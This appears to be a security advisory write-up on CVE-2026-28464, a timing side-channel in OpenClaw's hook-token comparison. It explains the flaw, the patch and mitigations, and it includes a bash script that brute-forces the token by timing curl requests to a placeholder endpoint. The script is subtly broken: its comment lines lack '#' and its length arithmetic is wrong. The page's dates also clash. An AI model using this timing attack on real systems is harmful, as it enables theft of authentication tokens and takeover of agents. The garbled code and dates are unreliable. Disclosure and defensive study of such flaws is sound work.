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CVE-2026-28464 is a medium-severity vulnerability in OpenClaw, an AI agent framework, affecting versions prior to 2026.2.12 . The core issue lies in the function that validates hook tokens, which are essentially passwords used to authenticate requests to the hooks endpoint. Instead of using a constant-time comparison function, the software uses a standard string comparison (like `==` in many languages) . Standard string comparison functions work by comparing strings character by character and stop execution as soon as they find a mismatch. This means a comparison that fails on the first character takes less time to complete than a comparison that fails on the tenth character. An attacker with network access can exploit this subtle timing difference. By sending thousands of requests with carefully crafted tokens and meticulously measuring the response times, an attacker can statistically determine which prefix of the token is correct. They can then build the valid token character by character in a brute-forcing manner. Once the correct token is inferred, they can send authenticated requests to the hooks endpoint, potentially leading to unauthorized actions, data manipulation, or further compromise of the OpenClaw agent . The patch in version 2026.2.12 replaces this insecure comparison with a constant-time algorithm, ensuring that all token comparisons take the same amount of time regardless of where a mismatch occurs, thus mitigating the side-channel attack .
Platform: OpenClaw (npm)
Version: < 2026.2.12
Vulnerability : Timing Side-Channel
Severity: Medium (CVSS 5.9)
date: 03/09/2026
Prediction: Patched 02/12/2026
What Undercode Say:
Analysis
The vulnerability is a classic example of a timing side-channel attack, which falls under the CWE-208 category (Observable Timing Discrepancy). The root cause is the use of a non-constant-time algorithm for comparing secrets, which leaks information through execution time.
Exploit Concept
An attacker would need to perform a remote timing attack. The basic loop of an exploit script would look like this:
!/bin/bash
Target configuration
TARGET_URL="http://victim-openclaw.com/hooks/agent"
KNOWN_PREFIX=""
Character set to test (alphanumeric + common symbols)
CHARSET=$(echo {a..z} {0..9} {A..Z} {-} {_} {:} {.})
for i in {1..20}; do Assuming token length of 20
LONGEST_TIME=0
BEST_CHAR=""
for CHAR in $CHARSET; do
TEST_TOKEN="${KNOWN_PREFIX}${CHAR}"$(printf 'A%.0s' $(seq 1 $((20 - ${KNOWN_PREFIX} - 1))))
Measure time with high precision using time command
TIME_TAKEN=$( { time -p curl -s -o /dev/null -w "%{http_code}" \
-H "X-Hook-Token: $TEST_TOKEN" \
"$TARGET_URL"; } 2>&1 | grep real | awk '{print $2}' )
Compare times (attacker would statistically analyze over many requests)
This is a simplified representation
echo "Token: $TEST_TOKEN took ${TIME_TAKEN}s"
In a real attack, the character with the consistently highest time
(due to more matches) would be chosen as the next prefix character.
if (( $(echo "$TIME_TAKEN > $LONGEST_TIME" | bc -l) )); then
LONGEST_TIME=$TIME_TAKEN
BEST_CHAR=$CHAR
fi
done
KNOWN_PREFIX="${KNOWN_PREFIX}${BEST_CHAR}"
echo "Discovered prefix: $KNOWN_PREFIX"
done
Note: This script is a conceptual representation. Real-world timing attacks require hundreds or thousands of samples per character and advanced statistical analysis to filter out network jitter.
Protection
- Immediate Patching: Upgrade to OpenClaw version 2026.2.12 or later .
npm update openclaw@latest
- Mitigation: If immediate patching is not possible, restrict network access to the `/hooks/agent` endpoint to only trusted IP addresses. Rotate the hook token immediately after implementing network restrictions and again after patching .
Impact
Successful exploitation allows an attacker with network access to the hooks endpoint to infer the secret authentication token. With a valid token, the attacker can then send arbitrary commands or data to the hook, effectively gaining unauthorized control over the OpenClaw agent’s hook functionalities. This could lead to data exfiltration, agent manipulation, or using the agent as a pivot point for further attacks within the network .
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Sources:
Reported By: nvd.nist.gov
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